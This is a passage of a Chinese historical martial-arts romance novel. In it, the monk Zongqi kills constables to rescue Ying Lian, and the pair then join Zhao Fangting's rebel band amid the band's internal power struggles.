应怜满眼里尽是他的身影，从夜中而来，压进光火，猛一抬眼，烧着两团仇恨的火焰，面上尽是一片杀意，看得人毛发尽竖，寒颤顿生。 她心跳停了一瞬，只觉脊背生寒。 不知何时，压着她的几只手已松了。她却没起得身，早已僵得再动弹不得。 一切变故，不知从何而起。那头已几人扑去，却只落得个血气冲天。她徒然睁着两只无能的眼，见那刀光寒影连闪，也不知他怎样动作，连鞘夺了一把腰刀，闪出阵外，却身影腾转，才有一人转身迎向，便被他一脚踹倒，踩在胸口，刀尖自天而降，戳穿在地。 那人只及吭了一声，便无声无息，死在地上，一双愕然惊恐的眼恰望向应怜，不一会儿，血自身下汩汩而出。 宗契拔出刀来，才几息间，又拦腰将刀轧死一人，正半身伏在院中小石桌上。余下三人已自慌乱，生了退意，便不能齐心。 一个逃向门外，被他踢起一把血淋淋的腰刀，端在手里，后背一刀搠死，连头也没回； 一个生了狠心，要来拿应怜为质，只是才摸着她边角，却见应怜猛睁大眼，望向他顶头。那人不及回头，陡然一股大力将他腾空。 耳边听得此生最后两字：“该杀。” 脖颈被狠狠一拧，断送了性命。 宗契手中已无刀，扔了被拧断脖子的一人，才见了被那尸身遮拦住的应怜。她瑟瑟抬着头，面色惨白，眼底惶恐，不知是怕贼人，还是怕他。 那恐惧能传染，分给了宗契几分。他眼内模糊，只觉处处红光一片，心中窒闷上来，愈发流失了气力，伸手向前，想触一触她青肿带血的嘴角，开口，也不知话能否成句：“别……怕。” 一片天旋地转。 陡见应怜猛瞪大眼，惊恐叫道：“后……” 脑后风声已至，有人背后偷袭。 宗契早已浑浑噩噩，后背一股子剧痛也钝了起来，全凭本能，抄起脚边一把腰刀，头也没回，刀尖却从肋下入，唯听噗嗤一声，身后当啷刀兵落地，被戳个对穿的一人，野兽般喉头哽哽嗬嗬，风声戛然而止。 背后偷袭那人，被宗契一把腰刀正攮在前胸，染了一刀尖心头血，贯胸而出，死尸仰倒在地，也不知有无后悔，悔不该不听前人劝，要多行善事少作恶。 满院风声寂寂，火光已全熄了，周遭更无一点声响，仿佛都已死多时，只剩了他两个还喘一口气。 应怜心胆俱裂，望见宗契，血溅满身，污了素日洁净衣衫；头脸上也漫是鲜血，血污里泡出来的一般，浑身煞气浓如深夜，当真如一脚踏入森罗殿，从此世间无立锥地。 他到她跟前，终支撑不住，一膝跌了下来，携一股冲天血气，伸出满是血污的手。 应怜恍如噩梦惊醒，身一动弹，“你……” 她方才分明见那刀劈下，伤在他后背，见他摇摇晃晃，便慌张起来，也不知究竟伤得如何，刚想探过身去，肩上却按下他一只手掌。他动作并不轻柔，甚至有些粗蛮，拉起她肩头衣襟，裹了回去。 两屋间有浅浅窄窄的小廊，无论风雨，都可遮蔽。他笼着她，用并不干净的手为她拉好衣襟，身形又沉沉，微微俯首，近在咫尺。 应怜的心狂乱跳动起来，怔怔望着他，一瞬间，几乎忘了要说的话、要做的事，天地间唯剩了面前这一人，如山、如海，如一把最锋利不过的刀，护她无虞。 他却又伸出手，指间触上了她唇角。 这样逾礼的举动，从前他压根不会做来。应怜一愣神，脸才有些热，却觉出唇边一丝疼，记起是先前被掌风掴到。那人都已死了，也不知是哪一条尸身。她刚想说没事，却觉那手落在肩头，陡然沉重，连带着他一身向她压来。 应怜冷不防被压在身下，半晌才挣出来，狼狈将他撑起，连叫几声，宗契却一声不应。反倒她搂着他身子，后背摸了一手的血。 她腾地慌了神，唤他：“宗契？你怎么了？宗契、宗契！” 满院的死尸，连他也昏死不知，只剩了她一个喘气能走的。应怜懵了片刻，捞着他臂膀，咬牙吃力地拖着向屋里去，走不上几步又差点被绊倒。 她从没应付过这样棘手的局面，一个宗契已教她累得气喘吁吁，那东一条西一条的死人呢？满院子血又要怎样处置？想来过不上半夜，便是公差不追来，左邻右舍也要冒出头来瞧的。 且他受了伤，又能去哪儿医治？ 天地浩大，此时竟如罗网，她被困在这一方小小樊笼里，处处竟是绝路。 她满头大汗地拖着宗契，正累得直喘，忽也不知哪一道被夜风吹来的声儿，横竖透着股轻飘飘、喜滋滋的意味： “小娘子，你这么个拖法，待入了屋，他也就死了，倒不如径把他埋了去！” 应怜猝不及防，一惊之下，差点丢了宗契，慌里慌张稳住身子，“谁！” 她如今正是草木皆兵时，望哪儿都像来拿她与宗契的，片刻又回过神，一觉着这话怎如此晦气；二又觉着这声音耳熟，仿佛从前听过一般。 那人见她惶惶然四下张望，也不隐藏，竟 从一屋檐上落下来，落地无声，比个猫儿还轻巧，幽晦不明的春夜里，走得近了，与她打了个照面。 应怜大吃一惊，更不知是祸是福，“赵……赵芳庭！” 不止他，他身后却又跟出几人来，皆黑衣轻便，望见满地的死尸，非但不害怕，反喝彩笑道，“好利索的手法！单看这刀口，比单家哥哥也不差！” 赵芳庭道：“别干看着不动，趁夜还早，将这几个死人都料理了……哎！小娘子，你捉刀作甚？” 应怜早放下宗契，偷摸摸顺了一把腰刀，藏在身后，自以为做得隐蔽，却一眼被瞧穿，尴尬也不是、害怕也不是，一晌僵在了廊下，吞吞吐吐，“我、我……防身。” 那几人又笑起来，当中一个小子，一把将个死人扛在肩上，道：“你惯做得采花盗柳的事，她怕你呢！” 赵芳庭咄了一声，面上有些挂不住，朝应怜道，“你莫怕，从前咱们有些误会，今日特来相帮！” 说话间，那几条尸首已被扛走，只剩了满院子骇人的血迹。应怜捉了沉沉的铁刀，挡在宗契身前半步，犹豫片刻，终让开身，任两人一左一右架了宗契，向外而去。 “无碍，昏过去了。”赵芳庭探了探宗契鼻息，又招呼应怜，“此处再留不得，小娘子随咱们别处避一头，也好治一治我宗契兄弟的伤！” 死马当活马医，不是他们，应怜守在这院儿里也只能等死，索性一横心，扔了刀，跟定几人而去。 心底却又疑惑：这几人何时来的她家中？若是才来，怎知宗契受了伤？若来得久了，方才一番动静，他们又为何不出面？ 第62章 第62章若夜尽天明，雾散人聚，…… 赵芳庭是个精细人，不止带了人走，更教人收拾房前屋后，将细软也带回给了应怜；又寻人为宗契治伤、探听府署里情形；小半宿间，一应事排布得井井有条。 这伙人所踞，对外是家平常的客店，说大不大、说小不小，开店的、住店的都是自家人，也收清白散客，只安置在前院屋舍里头，权作对外的幌子。 应怜连夜随人至了这间“赵员外家”客店。 楼上楼下一通忙活，再落定下来，已是中霄四更天。 宗契背上刀伤已处置妥善，人还昏着。大夫道无妨，不过皮肉伤损，待睡过一夜，蒙汗药药性散了，人自能醒。应怜仍不放心，怕他夜间醒转，牵动伤势，点了盏油灯，就着半明的灯火，守在他床边。 赵芳庭等人下楼料理琐事去了。她于楼上，扔能依稀闻听隐约的说话声，更显得这处满室幽寂。 宗契侧身躺着，人事不知。应怜怕灯火耀着，他无法安睡，便挪了挪灯盏，以身挡着。他脸面罩在半阴影里，眉目轮廓便不大真切，只眉宇间微微皱着，仿佛梦里也有什么扰心事一般。 他这样安静，应怜实难将此时的他与先前宅院里大开杀戒的模样相勾连。 佛门戒杀生，若是杀鸡杀鱼也就算了；这一次，他是彻彻底底破了杀戒。 ——为了她。 每想到此，应怜喉中便如梗了一物，吞吐不出，堵得她连心口都发闷。 便愈发想到往昔种种。若不是她，他必定还在五台山待得好好的，何必下山来吃尘世里这一遭罪，又是各处纠纷，差点吃了官司；又是奔波劳苦，风里雪里送她一路投奔，如今为救她，杀生害命，又奄奄一息躺在这里，愈发地好似英雄末路。 她换了一身干净衣裳，擦拭了肩头他掌心里蹭上的血，瞧他紧闭双目的面孔，却鬼使神差，手抚上自己肩头，那里仿佛仍沾了黏腻血迹，涌上他掌中的温暖。 那只手沉沉搭在绣边的素绫被上，方才执刀染血、为她劈开一条生路，这会儿连指缝也被洗净，露出指腹掌根常年的硬茧来。 也不知是夜深沉了或是他无知无觉，应怜忽冲动上来，将一只手指，缓缓触上了他指腹间。 指尖相触，是令人战栗的愉悦心悸。一段细细的暖意从指节传来，窜上心头，又尽数化作鼻腔里的酸楚。 再放肆的举动，她也不敢了，半晌收回手，仍是呆呆地瞧着他，渐渐心头滋味回甘，酸楚里觉出一丝欢喜来，总觉这眉眼鼻唇，无一处不好，是天下独一无二，再无人可比。 正心底百转千回，忽有人轻声叩门，来人却是赵芳庭。 赵芳庭此人，应怜与他曾打过两次照面，一次在青玉阁，一次在莲台寺，都不是什么好事。因此饶是这一回念他救了他们的好，应怜对他也很难生出亲近之感。 赵芳庭却不见她眼底疑虑生疏，只道：“宗契兄弟有一会子才醒，小娘子不必挂心。只是我有话要与娘子说，可否与我隔壁相谈？” 应怜不知他要说甚，点点头，随他去了隔壁屋。 这屋里，赵芳庭点了一盏五支的明烛，照晃得满室亮堂。说来奇怪，两回见他皆在花柳丛中，想来这是个贪花好色的老手，如今单居相对，应怜却从他眼中瞧不出不正之色，仿佛他轻巧巧揭过了“贪淫”的一层外皮而已。 赵芳庭开门见山：“应娘子可想好往后出路？” 应怜先是一惊，后静下来，“你知我名姓，想必是听青玉阁那鸨母所说？” “听谁所说，并不重要。重要的是，我与娘子坦诚，并不藏私。”赵芳庭道，“从前我唐突娘子，是不知你与宗契瓜葛，将你作寻常花柳相待；如今晓得你与他情深意厚，便再不会对娘子不敬。我将娘子视作自家人，便为自家人计议：你二人如今有人命官司在身，你且好说，独身一个，名姓皆是假的；那宗契呢？他根底出处，官府俱已清楚，往后背着官司，难道一辈子回不得家？” 一言戳中应怜心事。她沉默已极，半晌才抬头来，瞧定他，“请先生教我，如何计议？” “跟咱们去，同着宗契，做成大事。”明烛灯火里，赵芳庭道。 楼下，柜上两人值夜，俱是随赵芳庭几月来东奔西走的人。一个钱美、一个杨兴，二十出头，正是性子壮的年纪，熬得无聊了，谈起前半宿那一通闹。 “你晓得么？那小娘子，据说与啸龙将军的那个，是一个来头！”钱美道。 杨兴沉稳些，先望望楼上，道：“人前你可别提这个，你没瞧先前宅院里，宗契师父杀红了眼那样儿么？可见他多紧张那女娘，若听了你这张破嘴一说，兴许同你打起来！” 钱美瘦猴一个，没点稳当劲儿，闻言不恼，却乐呵呵直摸光光的下巴。半晌杨兴胳膊肘一捅他，“你傻乐什么呢？” “哎，你说那小娘子……当真是标致嘿！”钱美啧啧几声，见同伙望着自己皱眉，忙解释道，“我就那么一说，过过眼瘾还不成么？你说十八也真狠的心，就眼瞧着她被人欺负，压咱们趴他家房檐上动也不动，若是那宗契师父不来，难道就巴巴瞧着她被人强塞进轿子去？” “你懂什么？十八的心眼儿，一百个你也及不上。”杨兴嗤一声，“咱们救管什么事？还得宗契来救，他这一出手，便断了回头的路，从此与咱们一条道儿。他愈看重那小娘子，便愈忠心，拼了命也要为她挣一个前程来！” 倒不是说这事儿不好，只是赵芳庭这招阳谋使得实在是妙。钱美自忖换做自个儿，也一样被拿得死死的，除了跟他们共谋大事一计，再无别的出路。 半晌里无言，他最终只得感慨了一句：“儿女情事，果真误人！” 宗契醒时，天已大亮。 头里仍有一阵阵轻微眩晕，他睁眼，只觉身遭酸痛，原是趴伏在床，也不知多久；又牵动后背伤口，痛感仍在，恍然便想起昨夜之事，夺马奔家、手刃公差、救应怜…… 应怜呢！ 他心一惊，才全清醒过来，观瞧四周，却不是自家屋下，各处简致错落，窗明几净。探望向外，一层薄薄青纱帘幕外，似有人影绰绰，虽瞧不真切，却见形容娴雅、纤细有致，便知是应怜。 他心不定，急下床来，顾不得背伤，拨帘而出，唤道：“惜奴！” 那边人似在发呆，蓦地回头，正是应怜，先怔了一怔，接着起身忙来搀扶，“你醒了！快趴回去，大夫说你宜静养！” 他还不明状况，已被她一双手搭扶在臂，轻柔细腻之感蓦地传来，浑地一僵，低头再瞧，自己却赤着上身，只穿了一条裤子。 她依在身侧，紧搀着他，将他往内室赶，见怪不怪似的，“别傻站着，你后背有伤呢！” 她发间衣上熟悉的馨香欢悦地往他鼻尖里钻。宗契在山寺里，习武时精赤上身是常有的事，与她相对却不自在极了，头脸发烫，含糊应了一声，转身便入室内，颇有些落荒而逃之意。 应怜倒没觉着如何，只顾瞧他那伤口，背上狭长一道，皮肉翻翻着，虽早已止了血，却瞧着心惊肉跳；见他动作又 快又急，没知觉似的，紧将两只手臂往袖子里套，又是心疼又是着急，三两步过来，将他按坐下，“你慌什么！我难道还笑话你衣衫不整么？你若冷，披一件便是，这般大动作，伤口又该渗血了！” 她夺下他衣裳，亲替他宽宽松松地披了，又掀看那伤口，见血痂长势完好，才松了一口气，回头又瞪了他一眼。 那一眼说是嗔，却轻飘飘没甚力道，反鸿毛似的挠在他心里。宗契顿了顿没说出话来，瞧她蜂蝶似的围着自己转来转去，心内一宽松，却想起来问正事：“这是哪处？想来昨夜是得脱了？” 应怜这才将前后事都与他说了。 他们彼此心知肚明，那家是回不去了，又欠了赵芳庭一个天大的人情。 应怜方才便一直想着这事，及又想到前夜里赵芳庭说与的话，此番定然拖累宗契，他回头路已渺渺，心中更不是滋味，想着他醒了，把话与他说开，毕竟是反天的事，若离了她，他或还有一丝回寰的可能；但当真等他醒了，她又怎么也说不出口。 百般为难的心绪，便都带在了脸上，也不知他瞧出来没有，应怜勉强遮掩心事，到外间倒来一杯水，拿与他喝了。 哪知她想到的，宗契又如何想不到。他却思量，从前带着她南北奔波，已是教她尝尽颠沛之苦，如今事更至此，又要领她上一条愈发艰险难行的路。这一回不仅是由云间跌落在泥里，更要在刀山火海里滚一遭，这份罪她又如何吃得？ 既生了爱，便生了怯。 往常觉得天地浩大，他如风，任哪处都可来去自如；现如今有了她，却愈发觉得人微力轻，想成全她富贵也不能、想护她周全也不得，怎么如此窝囊。 宗契一腔憾恨，本欲掩了心底，却见她接了自己手里青瓷的盏儿，在他身边坐了下来，把一双明珠似的眼眸先望望床头画儿、望望帘外轩窗、低头望望自己指尖，末了瞧在了他身上，起先没开口，却掬了一捧不知是什么的心事，望得人心尖颤了一颤。 末了，她终开口：“你嫌我是个拖累么？” “这哪里话！”宗契闻此一惊，忙一声否了，想她或是为了前夜之事烦忧，便道，“那些人为虎作伥，欺辱于你，我纵杀了他们，也只当为民除害，又怎会嫌你？” 他句句掷地，话中再无嫌隙，应怜便不由笑了。这一笑，她眸中泛着水样明艳的光，却兀自有些冷寒在里头，与往常不同。 “那好，你若不嫌我，若……还肯护我一程，”她说出心底存了一宵的念想，“不如便入了他一伙人的勾当。我安安分分在家中，祸且逐上门，这份不公道，我想讨要回来！” 宗契沉默地望着她。 说不惊愕、不震撼是假的。他怎么能够想到，一夕之间，她竟有了翻天覆地的念头？ 不，或许早已有了，只是他从不晓得而已。 她是个女子，如果没那一遭变故，本该长于闺中，受万千宠爱，到了年龄，寻门当户对的嫁了，便又是高门的主母，相夫教子，顺遂地过完一生。 虽籍籍平庸，谁又能说这不是安稳？ 老天爷却不教她走这样的路，夺了她家人、强塞她一身舛途，磨难一波平了一波又起，逼得她生出一身反骨，天收回去，她却想夺回来。 眼前这是应怜，却又仿佛不是她……不是从前的她。她又一次脱胎换骨，教他重新结识。 宗契震愕已过，目中却露了激赏，心海也为之起了波澜，越翻越涨，越涨越豁朗，末了发了一声笑，眼眉间冲起了豪气飒爽，道：“你都能有此惊天之念，我又如何不能陪你一遭？这天若不公，咱们翻了便是！” 他说得洒落，说罢了，却一时没听她说好或是不好，更没听她只字片语，觉着奇怪，等了一等，却见她向着自己，定定不动，虽不开口，眼底却缓缓蓄了一层晶莹色，映着斜入的日照，真如鲛人含珠，欲落未落。 她向来爱哭，别是哪句话说过了，又吓着她。宗契正迟疑，想又寻些话来找补，忽那馨香一动，萦颤周身，蓦被她近身，却就着坐姿，倾过身来，纤纤的两只手臂绕过他腰身，在背后搂了个结实。 她扑入了他怀里。 宗契再有多少话，瞬间打落得烟消云散，什么念想也都震得没了影儿，脑中唯剩一片空白，两只手张着，身子僵得比石头还硬，任她一双手臂紧紧锁着，将眼眉偎在他脖颈间。 似乎有些熟悉，但那一回是她吃醉了酒，酒醒了便当没有。 这一回，她却醒着，再说什么误打误撞也不能。宗契紧绷得连呼吸也停了，更不知该如何应对，又觉脖颈间沁了她的一点泪，鼻端又尽是她附来的幽香，那香如火，烧进心底，就失了控。 却听她在耳边，哽咽着轻声言语： “多谢你、多谢你……若真有那一天，我必不负你！” 一晌那泪意愈发滚烫。宗契心底从颤栗又渐渐生出一股冲动，横冲直撞在骨血里，几乎淹没他。那股躁动的情意他说不清，想也想不明，只是凭本能欲将她揉进怀里，从此拆也拆不散。 只是手指才微一轻动，她却蓦地如迷蒙惊醒，一晌彩云顿散，退开了身。 宗契怀中一空，那手也抚了个空，一股春朝微凉贯入胸怀，填补了她退开的空缺，失落随之而来。他目光再离不开她，流连在她低垂的脸颊间，随她拭干了泪，又随她起身，决然离去，消失在豆青薄纱的帘儿后。 他怔愣了不知多久。 直待日午，楼下已有了客来客往的喧腾声，才将他从一晌迷乱般的魂梦里惊动，怀中触感散后，心头却又盘桓起一念：她说必不负。 不负他？又怎样不负？ 第63章 第63章莫怪池边柳，缘何生就向…… 既商议定了出路，应怜与宗契便留在了客店几日。 外头画影图形，果然描绘出他二人的面貌，四面城门俱都拦查得严了，一时竟出不了城。 赵芳庭便计议，一伙人同在此逗留一段时日，待风声过了，再走不迟。 城门严查，城内便冷清，赵员外客店不大不小，也就更没生意。这日里钱美独个在柜上枯守，到得晌午，搬来个老旧的细长案，躲在柜后，拿头巾盖住脸打盹。 忽一晌听马蹄声疾至，先惊了一跳，忙起身看，却正见从外跨进来个不高的少年，苍青席帽遮住半缘头脸，下颌尖尖，举止轻敏，透着一股文弱秀气的风流，来到柜上，见了钱美，口中作声，约摸十七八的年纪，“赵玉笛在么？我寻他有急事！” 若来人寻赵掌柜，钱美或凭心情答在与不在；若来寻“赵芳庭”，钱美就得问一问清楚这人寻他何干；可若有人报说，寻的是“赵玉笛”，无论如何，钱美都得实话实说，将做自己人看待。 “不知兄弟怎样称呼？从哪里来？”钱美当下正色问，“寻他作甚？” 那人掀了掀席帽，露出整张脸来，钱美瞧了又瞧，这少年好样貌，毓秀华美，只是脸孔微有些黄褐，失了白净， 再细细寻思，仿佛哪里见过一般。 “是我，秾李。”来人道，却换了一腔水样温柔的女儿声。 钱美大惊，抚掌恍然，忙后头教人知会赵芳庭，又啧啧纳罕，“我说怎么眼熟，原来是你！结识了你几月，想不到你竟改换了头脸，又是个口技好手！连我也被蒙蔽过去了！” 说罢又问：“听说你们弃了吴县，闹进扬州了？现下如何？你怎么单人独骑地来了？可是有要紧的事？” 正说着，后头匆匆跑来了赵芳庭，使了个眼色，钱美会意，当日便关张歇业，不再纳客；赵芳庭又拉着秾李，带入后头一间再僻静不过的院落，边走边问：“你如何来此？难道他们出了岔子？” 后头一伙几人跟来，杨兴问：“我去报一声教宗契兄弟也来？” 钱美迟疑：“还不晓得是什么样事，若事不美，别又教宗契疑心咱们成不了事，生了退缩心！” “无妨，叫来便是。”赵芳庭却道，“宗契兄弟是个重诺之人，他既已应承了咱们共举大事，绝不会反悔。” 他拍了板，杨兴便撒开腿去叫宗契。余人共入屋内，关窗掩门，赵芳庭先问秾李近况。秾李道：“上回的信你们已收到了，朝廷发了禁军八万，来拿咱们。吴县是待不了了，好在禁军调度迟滞，咱们一走，如今入了太湖，他们又得好一阵子才及反应，又不善水战，如此一来，给了咱们喘气之机。啸龙将军此时正在太湖，使海底蛟罗大王发到扬州，愿攻下那一城；只是事不协，折兵损将，败退了回来。” 说罢，却见众人面面相觑，有的讪笑，有的不屑，而赵芳庭却皱了眉。 他手底下一个小将李三郎先道：“什么禁军八万，以那拨人尿性，恐怕满打满算也就八千，何必惧怕他至此，竟弃城而逃！” “话不可如此说。就算他来八千，咱们统共又有多少？不过一万而已！”钱美道，“吴县又不是个要冲，地儿太小，施展不开，教我说，走了也好。倚着太湖水险，就是一步妙招！只是怎么令罗二郎攻扬州？他这人最是贪淫，去了必没好事！” 赵芳庭叹口气，“人家去了都去了，咱们发哪门子牢骚。我单铮哥哥如今可还好？” 秾李却摇头，目中流露几分焦色，“我来，就是为了报信，啸龙将军恐对单将军不利，赵大官人，你可速回太湖，想一想法子！” 赵芳庭大惊：“我不在这些日，究竟发生了何事？你又怎得知林江啸要害我单哥哥？” 秾李便将往昔几月发生的事，一样样说来。 原来自去年底单铮带人与林江啸合归一处，起初亲近热络，彼此无事；时日久了，便显出不合的苗头来——单铮为人豪爽，直来直往惯了，将士里人缘颇好，却不媚上，素日看不惯林江啸同来的那两个结义兄弟——一个唤作“下山虎”孔奚、一个便是罗二郎——嫌他们欺上瞒下，百般怂着林江啸享乐。 得罪了小人，他在林江啸身边，哪还能讨得了好。林江啸受那二人挑拨，愈发对单铮起了忌惮心。 “这一回罗大王攻扬州前，单将军言道，他往常每入一地，便如蝗虫过境，纵兵士劫掠，害民甚多，搅得如今来投的百姓愈发地少，咱们失了民心，便长久不了。啸龙将军碍着他的面子，两下为难。多亏了军师折中调和，给罗大王下了军令状，约束士兵、安抚百姓，这才使得他去攻扬州。”折柳道。 军师与林江啸同姓，名“文贵”，从前正是吴县的主簿，自归了义军，多出善谋，很得军中上下敬重；为笼络罗大王，计策约束之外，又为他出了一计，教到了城中，只管借“伸冤”的名头，拿城中富户开刀——既得了实惠，又不伤百姓，届时财物分出一半犒赏士兵，士兵也就不再起劫掠的心思了。 本是两全其美的计谋，无奈碰到个舍命不舍财的主。罗大王临了起了敛财之心，压根舍不得拔一毛分与手下将士，他自捞得盆满钵满，教手底下三千人眼巴巴看着。将士们恼起来一合计，竟生了哗变。 罗大王命大，带了贴身十来个喽啰，抢出一条命来，屁滚尿流逃回了太湖。 义军兢兢业业，勉强拉到一万人，这一下，就去了三千，气得林江啸差点没拔刀砍了他。只是那罗大王也有邪招，剩了十几人逃命，他竟还带了个妓。女回来，一狠心，花玉一般的女娘也不要了，献与了林江啸，要她吹那枕边风，为自己日夜说好话。 秾李说到那妓。女，顿了顿，迎着赵芳庭，道，“你认得她的，便是从前青玉阁的白露。” “噢！那甜嘴蜜舌的雌儿！”赵芳庭眼也没眨，便忆了起来。 说罢，见众人皆望着他，他讪讪，拱手请秾李继续说下去，“我不过这么一说，她哄人惯来有一套的。” 秾李张了张嘴，接下来的话有些难以启齿，“……总之如今他们里里外外围了啸龙将军，挑拨离间，因此与单将军之间便愈发僵。折柳姐姐怕他们内讧闹事，紧将我派来，知会你们几个，单将军那头势单力孤，你们快回去帮他一帮。” 她见众人齐齐怒恼起来，有些义愤填膺的模样，却单单皱眉从容坐着个赵芳庭，似在思量她的话，几分真几分假。 赵芳庭向她瞧来，正欲开口，这时几人破进门来，原是那几人到了。 杨兴在前，宗契随后，一旁却还跟着应怜。她见了半明不暗屋中的几人，抿抿嘴，扫过一眼，有些不大好意思，开口来道：“我跟着听一听，可成么？” 实则来时，她已问过杨兴了的。对此杨兴的答复是：“你要听便听，只是莫要把话对外说。” 不止他，这满屋子的人恐怕也是如此想。应怜在这些人心目中，与其说个人，莫若说是宗契的一个挂件。他们看重宗契，才敬重她，否则，她便什么也不是。 应怜看出这一点，并不介意，扫量一圈众人，目光却落于当中那粗简衣衫的少年身上，借着略微黯淡的天光，又瞧了几眼。 她觉得仿佛似曾相识，那少年见了她，居然也微微一笑，目中透出了几分惊讶。 直待赵芳庭开口，“秾李，我单哥哥晓得这事么？折柳既派你来，可也暗向他通风报信？” 应怜捡了张方杌子坐下来，离几人不远不近，琢磨那“秾李”二字，忽心眼顿亮，恍然全记忆了起来，再细细瞧她，除开那一张微黄微粗的脸面，单看眉眼轮廓，怎么不是曾经雪中送炭的那人？ 那头秾李却没顾得与她相认，正与几人说话：“姐姐近日过得已是艰难，那啸龙将军他、他……他疑心她与单将军有私，姐姐避嫌还来不及，哪得机会与他独处相谈？” 话音未落，杨兴叫起来：“忒不像样！这是哪里传的糟烂话！单哥哥天神一般的人，至于和这样水性的妇人搅在一起！” 他冲动过了，才觉话中差错，一时也别了脸，不去瞧秾李勃然变化的神色。 秾李平日里再温柔和善的人，此时竟忿然起身，怒向杨兴，“你这是什么话！我冒着官兵严查的风险，日夜不停赶来报信，你却如此诋毁我姐姐！我便是与你说，为何姐姐失了啸龙将军欢心？不就是她总劝谏，要他善待单将军、单将军是个英雄，需坦诚相待！‘这样妇人’都晓得是非大义，你却在此揪着她来处絮叨，还不如她！” 她气得脸面涨红，杨兴自知失言，黑红着一张脸，也不说话。几人齐来打圆场，各自拉着坐下。 赵芳庭作为一干人的主心骨，几句话平事，又问了些边边角角，末了点了钱美，向宗契二人叙明情由，便让余人散了。 秾李早认出应怜，正想与她说几句话，却又被赵芳庭拉住，道：“你与我后间来。” 她便知他有话要私下谈，只得弃了应怜，与他转到后间内室。 一进屋，赵芳庭当先开口：“你有事瞒我。林江啸虽不是一等一的英明人物，却也不糊涂，若折柳当真没起贰心，他怎会生疑？你实话与我说，我单哥哥与折柳到底有无私情？” 秾李方才与杨兴拍案叫板，毫无顾忌；这时听赵芳庭竟也如此说，却不由心底里升起一股心冷来，灰心时，说话也凉凉的，“我晓得你们这些人，再怎么玩弄我们，心里总是瞧不起的。我说没有，你不信；我若说有，你绝不会怪自家兄弟贪色，必定要怪罪我姐姐，道是她先勾的他。” “不是怪罪不怪罪，我总不能两眼一抹黑地回去。”赵芳庭分辩道，“你把那一肚子苦水先收收，方才与他们没说的话，捡要紧的与我说了。我今明两日便去，心里有 谱，到了林江啸跟前，讲话才有底气。” 秾李顿了顿没说话，似在思量，一会儿妥协了，终告知实情：“他二人实清清白白。该死的是那孔奚与罗二郎，竟趁着啸龙将军不在，欺辱我姐姐！一次不慎被单将军瞧见，怕事漏了，便起了恶人先告状的心，反咬一口，这才使啸龙将军生了嫌隙。” 这是赵芳庭所没料到的，那两人仗着是林江啸的结义兄弟，怎么竟干出连畜生也不如的事。 偏林江啸自觉与他们同过生死患难，任说什么都信；连这一次扬州败退，罗二郎都能从军令状下免了罪罚。 他便不问为何折柳受了二人的辱，却不向林江啸诉苦，反更瞒着他。只因折柳也清楚得很，这丑事教他晓得了，不外乎两个下场： 一、她被一刀剁了； 二、她被送与那两人。 赵芳庭叹息一声，到底不忍，安抚秾李道：“你放心，我既要救单哥哥，少不得也救你姐姐。你且在此歇一歇，同应娘子一道；过些日部中平定了，你们再一道回来。” 他再机敏不过。秾李得了他的许诺，稍稍放下心，又怕他油滑，应了诺又背弃，更低低哀求：“我姐姐是个苦命人。你若……你若还记挂往昔你们的情分，便救她于水火，往后你教我做什么，我无有不从的份！” 赵芳庭嗤了一声，摆摆手，“别提那个，从前的事是买卖，我与你家早已银货两讫。我从不吃窝边草，你也算半个林江啸的人，你若要以身相许，我是不要的。” 他说着，拉开了内间的门，向外而出，走到门口，终是善心占了上风，回头说话，口气软了半分，“你放心，她有那义气，为我单哥哥美言；我也不辜负她，此番尽我所能，保下她便是。” 他这人说干脆也干脆、说刻薄也刻薄，但终究应承了。秾李心中一安，才想问“你想出什么法子了”，却见他早已走入外间，清癯瘦削的背影没入了天光之中。 第64章 第64章穿针引线走龙蛇，移山绕…… 赵芳庭这一去，轻车简从，只带了钱美、李三郎，余人皆留在客店支应，尤其向宗契再三叮嘱，非有他的信至，不可轻易回太湖。 钱美料到三分他的想法，问：“你是担心军中有变？” “我担心什么？我不担心。”几人出了城，各自骑马在牙道上，赵芳庭驰骋间隙，缓行下来道，“我不过在想何时生变比较妥当。” 钱美与李三郎对视一眼，相互都笑了起来。 李三郎说得在理：“那必定是师出有名，否则咱们不就落了下风？” “好小子，你长进了！”赵芳庭惊奇含笑望了望他，一口应道，“正是，如今咱们起了家，便不再是那等轻易喊打喊杀的流寇，万事得寻个占理的由头，才好服众。” 钱美道：“那便推波助澜，他才有三分念，咱们给他涨到十分。他先下手，咱们再反击，便占了个‘理’字。” 钱美一向在几人中，较为持重老成，故此赵芳庭各处都爱带着他，闻听此，晓得彼此几个心里都有数，便不必再把话放明面上讲，只道：“需还瞒着些我单哥哥。他这人坦荡得过了，见得不一点阴私，不是被逼到十分，万不肯对兄弟下手的。” 那两人都点头。 三月里草长莺飞，牙道半埋没于蔓蔓的青草里，时隐时现。几人当日晌午便动了身，如今半日已过，行在脉脉斜阳里，披沥金红，在身前拉下愈来愈长的影子。 他们向东南行了两日夜，快马加鞭，第三日才不过午时，便至了太湖西的义兴县，此处盘踞的便是自家这一支义军，如今正有近万人。 赵芳庭回后，教人报知啸龙将军。当下林江啸撇了军中大小事，带单铮等亲自来迎，又摆上接风酒宴，下半日便热热闹闹地张罗起来。 闹了一日夜，转过天来，赵芳庭没急着去寻单铮，反将钱美二人叫来，道：“昨日宴上，我听闻官兵仍驻守吴县，正与咱们隔湖相峙。三郎，你去探听探听，那厢主帅何人、来头如何、船只多少、马匹多少等，越细越好。” 李三郎领命而去。赵芳庭又唤钱美，“大仁，你读过书，与林军师谈得来。你去向他问一问近况，尤其是那罗二郎与孔奚，探探他的态度如何。” “你呢？可要去寻单哥哥？”钱美问。 赵芳庭道：“我才回来，不急，见他一切稳当便好。” 钱美道：“那你何不与我一起去？” “我自有些闲事。”赵芳庭一乐，“江宁府里逢见那小娘子的事，我怎么也得与有心人说道说道！” 折柳依旧过她的日子，虽不如从前众星捧月，却自觉也不像秾李说的那般艰难。 今日林江啸也不来寻她。实际上，从前些时日罗大王败逃回来，她与林江啸三说两说没说好，教他抽了一顿鞭子后，他便再没踏足过她屋子，据说夜来只与白露寻欢作乐。 她倒无所谓，只是这日对镜梳妆，瞧着菱花镜里减损的容颜，似乎比往昔略瘦了一些，脸色也有些惨淡，思量许是未擦粉的缘故，便向脸上敷了些妆粉，又匀了淡淡的胭脂在腮唇上，果真气色好了不少，心里便满意了。 恰此时外头新来的小养娘掀帘唤道：“娘子，有人找你！” 折柳依旧面朝镜里，向着那冒冒失失的养娘问：“谁呀？” 